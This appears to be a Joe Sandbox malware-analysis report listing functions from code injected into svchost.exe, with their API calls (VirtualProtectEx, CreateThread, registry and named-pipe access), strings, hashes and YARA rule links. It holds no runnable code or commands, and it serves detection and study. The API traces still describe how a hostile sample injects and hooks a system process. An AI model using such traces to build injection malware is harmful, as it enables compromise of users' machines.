Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: 4553abeba055ab04a372ecc5a7a4898a1852b619a9a65a411e6718b2ce24e83f
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: 4CF04426B04681A2F7A0AFE1F6A875B6770F758BC8F845130DB4946556DFBCC698CB00

Function 0000022F4B92C208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000022F4B92C22D
GetProcAddress.KERNEL32 ref: 0000022F4B92C243
FreeLibrary.KERNEL32 ref: 0000022F4B92C26A

Strings

CorExitProcess, xrefs: 0000022F4B92C23C
mscoree.dll, xrefs: 0000022F4B92C224

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: 38295ac2f10e6acd3025a4b2d7b3c232d4005dcb1e6e2f8afdf00ddaeae397fe
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: B4F0C229A15A04A1FB54AFA8E96C31B1370EB8AB60F501639D76A451F5CFBCC048C300

Function 0000022F4B923058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000022F4B92307A
StrCpyW.SHLWAPI ref: 0000022F4B92308A
StrCatW.SHLWAPI ref: 0000022F4B923096
PathCombineW.SHLWAPI ref: 0000022F4B9230A4

Strings

\\.\pipe\, xrefs: 0000022F4B923070

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: a6493de3bd87cb8cdda4218573b9a46cfca1558a9276ad8d2e3f8f7c75dd7c6f
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: F2F0F458A1874092EA946F97FA2815A6671EB4DFD0F185030DF464775ADE7CC445C700

Function 0000022F4B9250E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B925166

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction ID: 370301996a2ab511c1da1f39ae5fb5ae372b66f22cbdb69476c090a222718a5b
Opcode Fuzzy Hash: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction Fuzzy Hash: 7102DA36A19B8096E7A4DF95E5A475BB7B0F3C4790F104425EB8E87BA9DBBCC444CB00

Function 0000022F4B925720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B925736

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction ID: 44fbaf4a04e1f9394b62009381191711660d1decb432d2e121cf4a7aea086afe
Opcode Fuzzy Hash: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction Fuzzy Hash: 8261B83AD19A40D6E6A49F55E56831BB7B0F388B84F104535EB8D43BAADBBCC540CB00

Function 0000022F4B903A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000022F4B903A9C
_set_statfp.LIBCMT ref: 0000022F4B903AB7
_set_statfp.LIBCMT ref: 0000022F4B903AD3
_set_statfp.LIBCMT ref: 0000022F4B903B0F

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9c8685abdbdec31bd0a56245f8e3f9dfc6400e32a94bf70fe500d8c082ed615a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B411E32EE18A0065F6D439E9DB7F36732706F6D374F0A4230AB66067EBDAE4C841D200

Function 0000022F4B934674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000022F4B93469C
_set_statfp.LIBCMT ref: 0000022F4B9346B7
_set_statfp.LIBCMT ref: 0000022F4B9346D3
_set_statfp.LIBCMT ref: 0000022F4B93470F

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: bf8130e1b470344c310bc1a61583eaefc5403b2d5f03dcf87c41d7e09db68d9a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 86114F2EE50A5121F6D43DECD66D3671170AB5D76CF072634ABB7067E7CAA498C1C310

Function 0000022F4B928580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B9285AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022F4B928642
RtlUnwindEx.NTDLL ref: 0000022F4B92869C

Strings

csm, xrefs: 0000022F4B928629

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 3670dfeb68e6a3868c26fbac9b743974663a211845548ffc8ba6f07efe711055
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: B251D439F11600AAEB98EF55E6A8B6A37B5FB44B88F108930DB454375AD7BDC841C700

Function 0000022F4B92AFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000022F4B92B01F
_CallSETranslator.LIBVCRUNTIME ref: 0000022F4B92B06B

Strings

RCC, xrefs: 0000022F4B92B03B
MOC, xrefs: 0000022F4B92B033

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: ad0099a4be0fb7298ef0ba603d511e01c9597efdd1c1fe225817b5613d30491c
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: D361B336D04BC491E7A5AF55E59439BB7B0F795B84F048A35EB9803B9ACBBCC194CB00

Function 0000022F4B8FA770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B8FA798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000022F4B8FA880

Strings

csm, xrefs: 0000022F4B8FA8D2
csm, xrefs: 0000022F4B8FA7BA

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: be2aa582aae54b33b491b9ee818e6c6d18c9888b0f349d6607bddd9af311e007
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: 2A51043AA04280D6EBB4AF91D248B5A77B0F750BA6F148135DB9847BC7EBB8D453C700

Function 0000022F4B92B370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B92B398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000022F4B92B480

Strings

csm, xrefs: 0000022F4B92B3BA
csm, xrefs: 0000022F4B92B4D2

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 526968f0ac712b60914350b00ea95c0a29f9c2d21a42e9eb2121940c56cfde96
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: D5519F3AD0428096FBA8AF95D6A875A77F0F355B84F184535DB8847BD6CBBCD490C700

Function 0000022F4B922F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B922F3B
HeapAlloc.KERNEL32 ref: 0000022F4B922F4E
StrCmpNIW.SHLWAPI ref: 0000022F4B922FC3
GetProcessHeap.KERNEL32 ref: 0000022F4B923029
HeapFree.KERNEL32 ref: 0000022F4B923037

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: 82c07dca5fec95baba9f378b8bcf349adc563c236f808c71cbf1495a5745f5a1
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: 8C318829F05B51A6FA98EF96D65876B77B0FB44B80F0448309F4847756EF78C461C300

Function 0000022F4B9325C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000022F4B932647
WriteFile.KERNEL32 ref: 0000022F4B93290F
WriteFile.KERNEL32 ref: 0000022F4B932955
GetLastError.KERNEL32 ref: 0000022F4B932A0B

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: 632627886c9981b52a14242c3f56d560826b91c40156f8e9911ff3f61bbd3599
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: 41D12536B04A80AAEB64DFB5D6643AD37B1F348798F005236CF5D97B9ADA74C446C340

Function 0000022F4B932EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000022F4B93300C
GetLastError.KERNEL32 ref: 0000022F4B933097

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: 12ce6cab9b8894c3c6566c6d1aae896e90d10aa2224d90d2c7332629effa8fdd
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: D491E46AF18650A5FB94AFE5C6683AF3BB0B309B88F146139DF0A57686DBB5C441C700

Function 0000022F4B927970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000022F4B92799C
GetCurrentThreadId.KERNEL32 ref: 0000022F4B9279AA
GetCurrentProcessId.KERNEL32 ref: 0000022F4B9279B6
QueryPerformanceCounter.KERNEL32 ref: 0000022F4B9279C6

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: 2cb522077bb50c674a43f2988a2ed3e59d3cc267632043fb8723bf62793d84b7
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: CE117026B14F119AEB40DFA0E8693A933B4F319758F041E31DB6D467A5DFB8D1A4C340

Function 0000022F4B922544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022F4B922628
StrCpyW.SHLWAPI ref: 0000022F4B922641

Part of subcall function 0000022F4B923858: StrCmpNIW.SHLWAPI ref: 0000022F4B923870

Strings

\\.\pipe\, xrefs: 0000022F4B922633

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: b608a874e44f2305b233afc4306f34f56234126c79960913b43b4cc47d399d02
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: EA71D33AE04781A5FABCEEA5DA683AB77B4F349784F410836DF0947B56DAB8C504C740

Function 0000022F4B8F7980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B8F79AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022F4B8F7A42

Strings

csm, xrefs: 0000022F4B8F7A29

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: d579fb0e5277af242517fb2064b3d8564f185edefe4acbfc8ab0500f452aee6c
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 0A51D23EB11600AAFB94EF95E548F6A33B2E345B99F518131EB454778AF7B8C942C700

Function 0000022F4B8FA3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000022F4B8FA46B

Strings

RCC, xrefs: 0000022F4B8FA43B
MOC, xrefs: 0000022F4B8FA433

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: ab93b7f2c9ef5ec5a384a78b9da373c566539d412b0c40a8a94e7e3587639ae1
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: 6261E636904BC491D7B0AF55E544B9BB7B0F798799F044235EB9803B96EBBCC192CB00

Function 0000022F4B922338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022F4B92241E
StrCpyW.SHLWAPI ref: 0000022F4B922435

Strings

\\.\pipe\, xrefs: 0000022F4B922429

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: cce46f0fa1378ea43ad5cf95f61130987cd79dd7c1dd67fdc4edc1ecf2f10c6f
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: A651B32AE08380A1FEADAEA5E27876B77A1B385740F444935DF4903B9BCABDC505C740

Function 0000022F4B932C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000022F4B932D77
GetLastError.KERNEL32 ref: 0000022F4B932D99

Strings

U, xrefs: 0000022F4B932D23

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 055a778cff11323dffc1db978895651ca4ad035b3ed6653d7e204861c88b4515
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: BF41C366B14A4092EBA0EF65E5583AA77B1F388784F445031EF4E87799EBBCC445C710

Function 0000022F4B928A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000022F4B928AA8
RaiseException.KERNEL32 ref: 0000022F4B928AE9

Strings

csm, xrefs: 0000022F4B928AD6

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: 0c024b3125dcca8c1982990d9c76ca101d53b80ce949555d51dd3c997593c46a
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: CF118B36A08B8082EBA48F14E55424A77E4FB88B84F194630EF8C07765EF7CC451CB00

Function 0000022F4B921BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B921C35
HeapAlloc.KERNEL32 ref: 0000022F4B921C43
GetProcessHeap.KERNEL32 ref: 0000022F4B921C7F
HeapFree.KERNEL32 ref: 0000022F4B921C8D

Part of subcall function 0000022F4B921534: StrCmpIW.SHLWAPI ref: 0000022F4B921565

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: 5234f3ecd236f550e97028695711534056cca23beb260fb795f50d6a260626a6
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: 74115E29E01B5491FA88EFE6E51822A77B1FB89FC0F1894349F4D43766DEB8C462C300

Function 0000022F4B921268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B92126E
HeapAlloc.KERNEL32 ref: 0000022F4B92127D
GetProcessHeap.KERNEL32 ref: 0000022F4B921297
HeapAlloc.KERNEL32 ref: 0000022F4B9212A8

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 3e1e9a40939542c600504de3384a6c328f8b6d35d2671f485f6e89c9c26a68de
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 6CE03939A0160486EB44AFA2D92834A3AE1EB8DB06F04D0348E0907352DFBD8499C750

Analysis Process: svchost.exePID: 7240, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1633
Total number of Limit Nodes:	10

Executed Functions

Function 0000013DE2722034 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000013DE27220CE

Part of subcall function 0000013DE2722F18: GetProcessHeap.KERNEL32 ref: 0000013DE2722F3B
Part of subcall function 0000013DE2722F18: HeapAlloc.KERNEL32 ref: 0000013DE2722F4E
Part of subcall function 0000013DE2722F18: StrCmpNIW.SHLWAPI ref: 0000013DE2722FC3
Part of subcall function 0000013DE2722F18: GetProcessHeap.KERNEL32 ref: 0000013DE2723029
Part of subcall function 0000013DE2722F18: HeapFree.KERNEL32 ref: 0000013DE2723037

Strings

S, xrefs: 0000013DE27221EF

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S
API String ID: 756756679-543223747
Opcode ID: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction ID: 66490ac6ba7d68a9c64cc0d4773b1818ba8c54fde1267231f19a9880e82c7aed
Opcode Fuzzy Hash: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction Fuzzy Hash: DB518BB3B11A248AE761FE25F840BEA6BF4F708784F159535DF051AB84DB36CA52E300

Function 0000013DE27232A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000013DE27232C2
PathFindFileNameW.SHLWAPI ref: 0000013DE27232D1

Part of subcall function 0000013DE2723858: StrCmpNIW.SHLWAPI ref: 0000013DE2723870

Part of subcall function 0000013DE27237A4: GetModuleHandleW.KERNEL32 ref: 0000013DE27237B2
Part of subcall function 0000013DE27237A4: GetCurrentProcess.KERNEL32 ref: 0000013DE27237E0
Part of subcall function 0000013DE27237A4: VirtualProtectEx.KERNEL32 ref: 0000013DE2723802
Part of subcall function 0000013DE27237A4: GetCurrentProcess.KERNEL32 ref: 0000013DE272381D
Part of subcall function 0000013DE27237A4: VirtualProtectEx.KERNEL32 ref: 0000013DE272383E

CreateThread.KERNEL32 ref: 0000013DE272331F

Part of subcall function 0000013DE2721D1C: GetCurrentThread.KERNEL32 ref: 0000013DE2721D27

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: 09d6951cfe52e120f864e029d0e2ce767c0caa2abbe53b2d0ee1bc4b66c716bc
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: BB1180B27106458EFB60B721BA457D96FB4BBD4705F148036DD868D292EF3CC354B614

Function 0000013DE2721AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000013DE2721630: GetProcessHeap.KERNEL32 ref: 0000013DE272163B
Part of subcall function 0000013DE2721630: HeapAlloc.KERNEL32 ref: 0000013DE272164A
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE27216BA
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE27216E7
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE2721701
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE2721721
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE272173C
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE272175C
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE2721777
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE2721797
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE27217B2
